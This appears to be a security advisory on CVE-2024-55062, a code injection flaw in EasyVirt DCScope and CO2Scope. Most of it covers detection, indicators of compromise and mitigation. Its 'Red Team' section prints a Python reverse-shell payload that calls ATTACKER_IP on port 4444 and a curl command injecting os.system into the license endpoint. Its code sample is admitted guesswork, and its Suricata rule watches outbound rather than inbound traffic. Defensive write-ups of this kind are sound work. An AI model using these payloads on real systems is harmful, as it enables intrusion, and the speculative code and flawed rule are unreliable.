CVE-2024-55062

Executive Summary

CVE-2024-55062 is a critical Code Injection vulnerability affecting EasyVirt DCScope (<= 8.6.0) and CO2Scope (<= 1.3.0). The flaw resides in the /api/license/sendlicense/ endpoint, allowing a remote unauthenticated attacker to inject and execute arbitrary code on the target system. This can lead to full system compromise, data exfiltration, and lateral movement within the network. No public proof-of-concept (PoC) or patch is currently available, making this a high-priority zero-day for organizations using these products.

Supply Chain & Package Security

This vulnerability is not related to NPM, PyPI, Go, or Ruby packages. It affects proprietary EasyVirt software deployed as on-premises appliances or virtual machines. The supply chain risk is limited to the direct vendor software distribution.

CVSS Breakdown & Threat Level

• CVSS Vector: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H
• Base Score: 9.8 (Critical)
• Attack Vector: Network (AV:N) – Exploitable remotely.
• Attack Complexity: Low (AC:L) – No special conditions required.
• Privileges Required: None (PR:N) – No authentication needed.
• User Interaction: None (UI:N) – No user action required.
• Scope: Unchanged (S:U) – Vulnerability does not cross trust boundaries.
• Confidentiality Impact: High (C:H) – Full data access.
• Integrity Impact: High (I:H) – Full system control.
• Availability Impact: High (A:H) – Potential for denial of service.

Threat Level: Critical. The combination of remote, unauthenticated access with arbitrary code execution makes this extremely dangerous. Immediate action is required.

Deep Dive & Mechanics

The vulnerability is a classic Code Injection (CWE-94) flaw in the license validation mechanism. The /api/license/sendlicense/ endpoint is designed to accept license files for activation. However, the application fails to properly sanitize or validate the input before processing it.

Attack Flow:

1. An attacker sends a crafted HTTP POST request to /api/license/sendlicense/ with a malicious payload disguised as a license file.
2. The application interprets the payload as executable code (e.g., Python, shell commands, or JavaScript depending on the backend).
3. The injected code is executed with the privileges of the application (typically root or a high-privilege service account).
4. The attacker can then execute arbitrary commands, install backdoors, exfiltrate data, or pivot to other systems.

Root Cause: Lack of input validation and improper handling of user-supplied data in a code evaluation context (e.g., eval(), exec(), or system() calls).

Vulnerable vs. Patched Code

Since no patch is available, a comparison is not possible. However, the vulnerable code likely resembles:

# Vulnerable pseudo-code
def send_license(request):
    license_data = request.POST.get('license')
    # Directly evaluating user input
    exec(license_data)  # or eval(), os.system(), etc.
    return HttpResponse("License processed")

A patched version would:

# Patched pseudo-code
def send_license(request):
    license_data = request.POST.get('license')
    # Validate and sanitize input
    if not is_valid_license_format(license_data):
        return HttpResponseBadRequest("Invalid license")
    # Process license safely without code execution
    process_license_safely(license_data)
    return HttpResponse("License processed")

Exploitation & Lab Setup

Red Team (Offensive)

Prerequisites:

• Target running EasyVirt DCScope <= 8.6.0 or CO2Scope <= 1.3.0.
• Network access to the /api/license/sendlicense/ endpoint.

Exploit Steps:

1. Identify the target and confirm the endpoint is accessible.
2. Craft a malicious payload. For example, to execute a reverse shell:

   # Payload for a Python-based backend
   import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect(("ATTACKER_IP",4444));os.dup2(s.fileno(),0); os.dup2(s.fileno(),1); os.dup2(s.fileno(),2);p=subprocess.call(["/bin/sh","-i"]);
   

3. Send the payload as the license parameter in a POST request:

   curl -X POST https://target/api/license/sendlicense/ -d "license=__import__('os').system('id')"
   

4. If successful, the command output will be returned or a reverse shell established.

Note: No public exploit code is available. The above is a conceptual example.

Blue Team (Defensive)

Detection Steps:

1. Monitor for unusual POST requests to /api/license/sendlicense/ with large or non-standard payloads.
2. Look for base64-encoded strings, shell commands, or Python code in the request body.
3. Check for outbound connections from the EasyVirt server to unknown IPs on high ports (e.g., 4444).
4. Review application logs for errors related to exec, eval, or os.system.

Honeypot Strategy:

• Deploy a decoy EasyVirt instance and monitor for exploitation attempts.
• Log all requests to /api/license/sendlicense/ for forensic analysis.

Indicators of Compromise (IOCs)

• Network IOCs:

  • POST requests to /api/license/sendlicense/ with suspicious payloads.
  • Outbound connections from the EasyVirt server to attacker-controlled IPs.
  • Unusual HTTP response sizes or error messages (e.g., "500 Internal Server Error" after injection).

• File System IOCs:

  • Unexpected files in /tmp/, /var/tmp/, or application directories.
  • Modified system binaries or scripts.
  • Presence of web shells (e.g., cmd.php, shell.jsp).

• Process IOCs:

  • Unusual child processes spawned by the application (e.g., bash, python, nc).
  • Processes running with elevated privileges unexpectedly.

• Log IOCs:

  • Application logs containing exec, eval, system, or shell commands.
  • Authentication logs showing failed attempts followed by successful exploitation.

Detection Engineering

YARA Rule

rule CVE_2024_55062_Code_Injection {
    meta:
        description = "Detects code injection attempts targeting EasyVirt DCScope/CO2Scope"
        author = "Valters IT"
        date = "2025-04-10"
        reference = "CVE-2024-55062"
    strings:
        $python_eval = /eval\s*\(/ nocase
        $python_exec = /exec\s*\(/ nocase
        $os_system = /os\.system\s*\(/ nocase
        $subprocess = /subprocess\.(call|Popen|run)\s*\(/ nocase
        $shell_meta = /[;&|`$]/  // Shell metacharacters
        $base64 = /[A-Za-z0-9+\/]{40,}={0,2}/  // Potential base64 payload
    condition:
        any of ($python_eval, $python_exec, $os_system, $subprocess) or
        (any of ($shell_meta) and filesize < 10KB)
}

Sigma Rule

title: CVE-2024-55062 Code Injection Attempt
id: 8a9b3c4d-5e6f-7a8b-9c0d-1e2f3a4b5c6d
status: experimental
description: Detects HTTP POST requests to /api/license/sendlicense/ with potential code injection payloads
author: Valters IT
date: 2025-04-10
references:
    - https://nvd.nist.gov/vuln/detail/CVE-2024-55062
logsource:
    category: webserver
    product: apache
    service: access_combined
detection:
    selection:
        cs-method: 'POST'
        cs-uri-stem: '/api/license/sendlicense/'
    keywords:
        - 'eval('
        - 'exec('
        - 'os.system'
        - 'subprocess'
        - ';'
        - '|'
        - '`'
        - '$('
    condition: selection and keywords
falsepositives:
    - Legitimate license files containing similar patterns (unlikely)
level: critical

Suricata Rule

alert http $HOME_NET any -> $EXTERNAL_NET any (msg:"CVE-2024-55062 Code Injection Attempt"; flow:to_server,established; content:"POST"; http_method; content:"/api/license/sendlicense/"; http_uri; pcre:"/(eval|exec|os\.system|subprocess|;|\||`|\$\(|base64)/i"; classtype:attempted-admin; sid:1000001; rev:1;)

Remediation & Mitigation

Immediate Actions:

1. Isolate affected systems from the network if possible.
2. Block access to /api/license/sendlicense/ at the web application firewall (WAF) or reverse proxy level.
3. Monitor for exploitation attempts using the provided detection rules.

Long-Term Fix:

• Since no official patch exists, contact EasyVirt support for a hotfix or upgrade path.
• Implement input validation and sanitization for the license endpoint.
• Disable the license endpoint if not required.

Compensating Controls:

• Deploy a WAF with rules to block code injection patterns.
• Restrict network access to the EasyVirt management interface to trusted IPs only.
• Enable detailed logging and alerting for the affected endpoint.

Valters IT